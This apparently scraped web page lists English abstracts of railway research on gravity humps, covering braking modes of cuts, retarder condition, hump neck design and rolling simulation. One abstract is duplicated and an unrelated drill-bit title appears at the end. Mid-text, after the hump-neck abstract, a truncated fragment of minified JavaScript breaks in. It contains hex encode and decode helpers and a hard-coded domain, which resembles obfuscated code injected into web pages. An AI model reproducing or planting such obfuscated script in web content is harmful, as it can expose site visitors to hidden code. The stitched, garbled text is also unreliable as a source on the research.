Cutter Rolling Research Articles

IMPROVEMENT THE DETERMINING METHOD OF BRAKING MODE OF CONTROLLED CUT OF DESIGN GROUP

Purpose. The application of automation systems of breaking up process on the gravity hump is the efficiency improvement of their operation, absolute provision of trains breaking up safety demands, as well as improvement of hump staff working conditions. One of the main tasks of the indicated systems is the assurance of cuts reliable separation at all elements of their rolling route to the classification track. This task is a sophisticated optimization problem and has not received a final decision. Therefore, the task of determining the cuts braking mode is quite relevant. The purpose of this research is to find the optimal braking mode of control cut of design group. Methodology. In order to achieve the purpose is offered to use the direct search methods in the work, namely the Box complex method. This method does not require smoothness of the objective function, takes into account its limitations and does not require calculation of the function derivatives, and uses only its value. Findings. Using the Box method was developed iterative procedure for determining the control cut optimal braking mode of design group. The procedure maximizes the smallest controlled time interval in the group. To evaluate the effectiveness of designed procedure the series of simulation experiments of determining the control cut braking mode of design group was performed. The results confirmed the efficiency of the developed optimization procedure. Originality. Authors formalized the task of optimizing control cut braking mode of design group, taking into account the cuts separation of design group at all elements (switches, retarders) during cuts rolling to the classification track. The problem of determining the optimal control cut braking mode of design group was solved. The developed braking mode ensures cuts reliable separation of the group not only at the switches but at the retarders of brake position. Practical value. The developed procedure can be successfully used to determine the optimal braking modes of cuts in automation systems of trains breaking up on the gravity humps.

Automatic Adviser on Mobile Objects Status Identification and Classification11The work was supported by Russian Fundamental Research Fund, project No. 17-20-01040.

A mobile object status identification task is defined within the image discrimination theory. It is proposed to classify objects into three classes: object operation status; its maintenance is required and object should be removed from the production process. Two methods were developed to construct the separating boundaries between the designated classes: a) using statistical information on the research objects executed movement, b) basing on regulatory documents and expert commentary. Automatic Adviser operation simulation and the operation results analysis complex were synthesized. Research results are commented using a specific example of cuts rolling from the hump yard.

REDUCTION IN CUTS SPEED AT THE BEGINNING OF A SORTING SIDINGS, EQUIPPED WITH QUASI-CONTINUOUS SPEED CONTROL SYSTEM

Purpose. Clear and uninterrupted operation of humps depends on the quality of technical equipment and control technology of cuts speed. Technology of interval and purposive regulation of cuts speed is used at most humps. The article discusses ways to reduce the cuts rolling speed to a safe level at the beginning of the sorting sidings equipped with quasi-continuous speed control system. Methodology. It proposed three fundamentally different ways to reduce the cuts rolling speed at the beginning of the sorting siding. The analysis of the ways to reduce cuts rolling speed to a safe level at the beginning of the sorting sidings was conducted using simulation the process of cuts rolling from humps equipped with quasi-continuous speed control. Findings. As a result of analysis, the inappropriateness of opposite elevation using on the roll-out part of the hump after the last separation switch point. Spot regulators of cars speed can be used to reduce the cuts rolling speed at the beginning of the sorting siding, but this leads to a division conditions deterioration on the last separating switch points of long cuts with the following after them short cuts. Reducing the cuts rolling speed at the beginning of the sorting siding can be carried out using the beam on a stationary wagon retarders park brake position. Control Algorithm park brake position is quite simple. All produce should be unhooked from it at a safe speed. If the accuracy of the implementation of the set speed output to unhook from the park brake position is low, it is possible to eliminate the error of point regulators cars speed. Originality. The question where to start location point of wagon retarders zone to reduce speed to cut level requires additional research. Reducing rolling cut the speed at the beginning of the sorting sidings can be carried out using the beam on a stationary wagon retarders park brake position. Practical value. Control Algorithm park brake position is quite simple. All produce should be cut from it at a safe speed. If the accuracy of the implementation of the set speed output to cut from the park brake position is low, it is possible to eliminate the error of point regulators cars speed.

STUDY OF TECHNICAL STATE IMPACT OF BRAKE RETARDERS AT THE PROCESSING ABILITY OF HUMPS

Purpose. The research aims development of methods for calculating the estimated capacity humps for the loss conditions of brake power retarders. Methodology. The operation of humps is connected with large number of random factors, such as the characteristics of cuts, environmental conditions, the value of braking power implemented by retardants and others. In this regard, to research the set tasks the methods of simulation modeling and mathematical statistics are used. Determination of speed and motion time of cuts on the routes is carried out on the basis of rolling down modeling of their rolling down from the humps. Findings. If the brake power of retarders of the rolling down part of humps is not enough to stop the cuts, it should be provided the intervals during break-up to release the rolling routes from the preliminary cuts. The dependencies allowing to set the duration of these intervals were determined using the methods of the probability theory If the brake power of retarders at the rolling down part of humps and at the classification tracks is not enough to meet the requirements of the aimed regulation of the cuts rolling speed, it is necessary the use the additional brake shoes. The work develops the methods that on the basis of simulation modeling of the humping process allow one to set the desired value of the break-up duration increase. They ensure the traffic safety at the given number of car motion speed regulators. Originality. Authors firstly proposed the improved methods for determining the estimated capacity of humps. Unlike the existing ones, allow taking into account the technological limitations caused by the requirements of the humping process safety and can be used to assess the performance of the humps in the conditions of parametric failures of the retarders. Practical value. The use of the proposed methods allows assessing the influence of the retarders’ disrepair on the performance degradation of humps for the existing volumes of work.

DESIGN IMPROVEMENT OF SORTING HUMPS'S NECK PLAN ON THE TECHNICAL STATIONS

The plan construction of humps neck has a large influence on the movement and duration of cuts rolling down. The capital investments to building and the operating costs during hump operation first of all depend of the neck’s parameters. The findings of investigation of neck’s parameters influence to the construction length are given in this article. By the construction length is understand the unfolded neck length from the top hump to park retarder position without taking the switches length into account. The analysis of existing methods of optimization the hump neck shows that they do not fully characterize the object, because they do not include many of the features of sorting humps operation. As a result, the optimization problem of hump necks needs further inquiry. As the review of standard construction of hump necks shows, there are not more than two additional curves on the descent part of the sorting hump. Thereupon it was developed the method of determine all values of rotation angles on the descent part of the hump. It permits to design neck plan keeping the normative requirements and to choose the best values of angles. It was proved, that the minimum construction length is when the sum of angles on the descent part of the hump is the maximum. Also it was developed the method of optimization of coupling sections parameters in placing a park retarder position on a straight path for the main mating curve. The researches of number bunches influence to its construction length are made in this article. Studies have shown that the increase of the number bunches permits to reduce the construction length per 10–15 %. Also decrease of the average distance from the top hump to considering point has been observed. But, at the same time increase of number of bunches reduce to increase of required number of retarders on the descent part of the sorting hump and to complicate the control process. Thus, the problem of selection of the efficient number of the hump neck must be solved based on the feasibility study. The findings of investigation can be use during new construction and the reconstruction of the existing sorting humps.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "tstt.diit.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

RESEARCH OF EFFICIENCY OF APPLICATION OF TECHNOLOGY OF GRAVITATIONAL-TARGETED INHIBITION OF CUTS

Purpose. The researching of technology of gravitational-impact braking on the Ukranian railways is the aim of the article. Methods. Sorting device with special design of plan and profile for the feasibility of the technology of gravitational target braking is offered.. Rationale for the use of said technology is based on the use of simulation techniques, analysis of the results obtained-ing process of calculating the estimated sliding runners and comparison with conventional screening devices and a new design from the perspective of the need for them to separate funds devices and systems, which are elements of a technical equipment. Results. The possibility of application of technology of gravitational-impact braking unhooked on the basis of cuts rolling. The main advantages of this technology for the safety and efficiency of the breaking up of trains are described. Scientific novelty. For the first time the technology of gravitational-impact braking unhooked, the implementation of which is possible through the use of sorting devices with special design of plan and longitudinal profile of the switching yard. Unlike conventional approaches to improve the efficiency of the breaking up of trains, this approach greatly simplifies the technology to control speed of cuts requires automation of braking only park brake position and to reduce the influence of the "human" factor and parameters have stochastic nature, on indicators of humping process.. The practical significance. Sorting device with gravity-sighting unhook brake can be used in all operating conditions to increase the efficiency and safety of the breaking up of trains.

DETERMINATION OF BRAKING OPTIMAL MODE OF CONTROLLED CUT OF DESIGN GROUP

Purpose. The application of automation systems of breaking up process on the gravity hump is the efficiency improvement of their operation, absolute provision of trains breaking up safety demands, as well as improvement of hump staff working conditions. One of the main tasks of the indicated systems is the assurance of cuts reliable separation at all elements of their rolling route to the classification track. This task is a sophisticated optimization problem and has not received a final decision. Therefore, the task of determining the cuts braking mode is quite relevant. The purpose of this research is to find the optimal braking mode of control cut of design group. Methodology. In order to achieve the purpose is offered to use the direct search methods in the work, namely the Box complex method. This method does not require smoothness of the objective function, takes into account its limitations and does not require calculation of the function derivatives, and uses only its value. Findings. Using the Box method was developed iterative procedure for determining the control cut optimal braking mode of design group. The procedure maximizes the smallest controlled time interval in the group. To evaluate the effectiveness of designed procedure the series of simulation experiments of determining the control cut braking mode of design group was performed. The results confirmed the efficiency of the developed optimization procedure. Originality. The author formalized the task of optimizing control cut braking mode of design group, taking into account the cuts separation of design group at all elements (switches, retarders) during cuts rolling to the classification track. The problem of determining the optimal control cut braking mode of design group was solved. The developed braking mode ensures cuts reliable separation of the group not only at the switches but at the retarders of brake position. Practical value. The developed procedure can be successfully used to determine the optimal braking modes of cuts in automation systems of trains breaking up on the gravity humps.

SIMULATION OF WORK UNDER HUMP UNCERTAIN PARAMETERS UNHOOKED AND ENVIRONMENTAL CONDITIONS

There have been executed the researches of process of cuts rolling in the conditions of the action of random factors. There have also been determined the characteristics of the distribution of the random value of time of cuts rolling.

Highly efficient grinding of drill bit leg and cutter rolling tracks

Highly efficient grinding of drill bit leg and cutter rolling tracks